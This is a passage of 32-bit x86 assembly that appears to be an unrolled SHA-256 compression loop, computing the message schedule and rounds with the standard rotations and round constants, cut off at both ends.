ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 40[esp]
shr edi,10
add ebx,DWORD PTR 76[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 40[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1294757372[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 48[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 36[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 44[esp]
shr edi,10
add ebx,DWORD PTR 80[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 44[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1396182291[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 52[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 40[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 48[esp]
shr edi,10
add ebx,DWORD PTR 84[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 48[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1695183700[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 56[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 44[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 52[esp]
shr edi,10
add ebx,DWORD PTR 88[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 52[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1986661051[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 60[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 48[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 56[esp]
shr edi,10
add ebx,DWORD PTR 92[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
mov DWORD PTR 56[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2177026350[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 64[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 52[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 60[esp]
shr edi,10
add ebx,DWORD PTR 32[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov DWORD PTR 60[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2456956037[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 68[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 56[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 64[esp]
shr edi,10
add ebx,DWORD PTR 36[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 64[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2730485921[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 72[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 60[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 68[esp]
shr edi,10
add ebx,DWORD PTR 40[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 68[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2820302411[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 76[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 64[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 72[esp]
shr edi,10
add ebx,DWORD PTR 44[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 72[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3259730800[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 80[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 68[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 76[esp]
shr edi,10
add ebx,DWORD PTR 48[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 76[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3345764771[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 84[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 72[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 80[esp]
shr edi,10
add ebx,DWORD PTR 52[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 80[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 3516065817[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 88[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 76[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 84[esp]
shr edi,10
add ebx,DWORD PTR 56[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 84[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 3600352804[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 92[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 80[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 88[esp]
shr edi,10
add ebx,DWORD PTR 60[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
mov DWORD PTR 88[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 4094571909[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 32[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 84[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 92[esp]
shr edi,10
add ebx,DWORD PTR 64[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov DWORD PTR 92[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 275423344[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 36[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 88[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 32[esp]
shr edi,10
add ebx,DWORD PTR 68[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 32[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 430227734[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 40[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 92[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 36[esp]
shr edi,10
add ebx,DWORD PTR 72[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 36[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 506948616[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 44[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 32[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 40[esp]
shr edi,10
add ebx,DWORD PTR 76[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 40[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 659060556[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 48[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 36[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 44[esp]
shr edi,10
add ebx,DWORD PTR 80[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 44[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 883997877[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 52[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 40[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 48[esp]
shr edi,10
add ebx,DWORD PTR 84[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 48[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 958139571[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 56[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 44[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 52[esp]
shr edi,10
add ebx,DWORD PTR 88[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 52[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1322822218[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 60[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 24[esp]
add eax,esi
mov esi,DWORD PTR 48[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 56[esp]
shr edi,10
add ebx,DWORD PTR 92[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 28[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR [esp]
xor edx,ecx
mov DWORD PTR 56[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 24[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 4[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 12[esp]
xor ecx,eax
mov DWORD PTR 8[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1537002063[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 64[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 20[esp]
add ebp,ecx
mov ecx,DWORD PTR 52[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 60[esp]
shr edi,10
add ebx,DWORD PTR 32[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 24[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 28[esp]
xor edx,esi
mov DWORD PTR 60[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 20[esp],esi
xor edx,esi
add ebx,DWORD PTR [esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 8[esp]
xor esi,ebp
mov DWORD PTR 4[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 1747873779[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 68[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 16[esp]
add eax,esi
mov esi,DWORD PTR 56[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 64[esp]
shr edi,10
add ebx,DWORD PTR 36[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 20[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 24[esp]
xor edx,ecx
mov DWORD PTR 64[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 16[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 28[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 4[esp]
xor ecx,eax
mov DWORD PTR [esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 1955562222[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 72[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 12[esp]
add ebp,ecx
mov ecx,DWORD PTR 60[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 68[esp]
shr edi,10
add ebx,DWORD PTR 40[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 16[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 20[esp]
xor edx,esi
mov DWORD PTR 68[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 12[esp],esi
xor edx,esi
add ebx,DWORD PTR 24[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR [esp]
xor esi,ebp
mov DWORD PTR 28[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2024104815[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 76[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR 8[esp]
add eax,esi
mov esi,DWORD PTR 64[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 72[esp]
shr edi,10
add ebx,DWORD PTR 44[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 12[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 16[esp]
xor edx,ecx
mov DWORD PTR 72[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR 8[esp],ecx
xor edx,ecx
add ebx,DWORD PTR 20[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 28[esp]
xor ecx,eax
mov DWORD PTR 24[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2227730452[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 80[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 4[esp]
add ebp,ecx
mov ecx,DWORD PTR 68[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 76[esp]
shr edi,10
add ebx,DWORD PTR 48[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR 8[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 12[esp]
xor edx,esi
mov DWORD PTR 76[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 4[esp],esi
xor edx,esi
add ebx,DWORD PTR 16[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 24[esp]
xor esi,ebp
mov DWORD PTR 20[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2361852424[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 84[esp]
ror esi,2
add eax,edx
add edx,DWORD PTR [esp]
add eax,esi
mov esi,DWORD PTR 72[esp]
mov ebx,ecx
ror ecx,11
mov edi,esi
ror esi,2
xor ecx,ebx
shr ebx,3
ror ecx,7
xor esi,edi
xor ebx,ecx
ror esi,17
add ebx,DWORD PTR 80[esp]
shr edi,10
add ebx,DWORD PTR 52[esp]
mov ecx,edx
xor edi,esi
mov esi,DWORD PTR 4[esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 8[esp]
xor edx,ecx
mov DWORD PTR 80[esp],ebx
xor esi,edi
ror edx,5
and esi,ecx
mov DWORD PTR [esp],ecx
xor edx,ecx
add ebx,DWORD PTR 12[esp]
xor edi,esi
ror edx,6
mov ecx,eax
add ebx,edi
ror ecx,9
mov esi,eax
mov edi,DWORD PTR 20[esp]
xor ecx,eax
mov DWORD PTR 16[esp],eax
xor eax,edi
ror ecx,11
and ebp,eax
lea edx,DWORD PTR 2428436474[edx*1+ebx]
xor ecx,esi
xor ebp,edi
mov esi,DWORD PTR 88[esp]
ror ecx,2
add ebp,edx
add edx,DWORD PTR 28[esp]
add ebp,ecx
mov ecx,DWORD PTR 76[esp]
mov ebx,esi
ror esi,11
mov edi,ecx
ror ecx,2
xor esi,ebx
shr ebx,3
ror esi,7
xor ecx,edi
xor ebx,esi
ror ecx,17
add ebx,DWORD PTR 84[esp]
shr edi,10
add ebx,DWORD PTR 56[esp]
mov esi,edx
xor edi,ecx
mov ecx,DWORD PTR [esp]
ror edx,14
add ebx,edi
mov edi,DWORD PTR 4[esp]
xor edx,esi
mov DWORD PTR 84[esp],ebx
xor ecx,edi
ror edx,5
and ecx,esi
mov DWORD PTR 28[esp],esi
xor edx,esi
add ebx,DWORD PTR 8[esp]
xor edi,ecx
ror edx,6
mov esi,ebp
add ebx,edi
ror esi,9
mov ecx,ebp
mov edi,DWORD PTR 16[esp]
xor esi,ebp
mov DWORD PTR 12[esp],ebp
xor ebp,edi
ror esi,11
and eax,ebp
lea edx,DWORD PTR 2756734187[edx*1+ebx]
xor esi,ecx
xor eax,edi
mov ecx,DWORD PTR 92[esp]
ror esi,2
add eax,edx
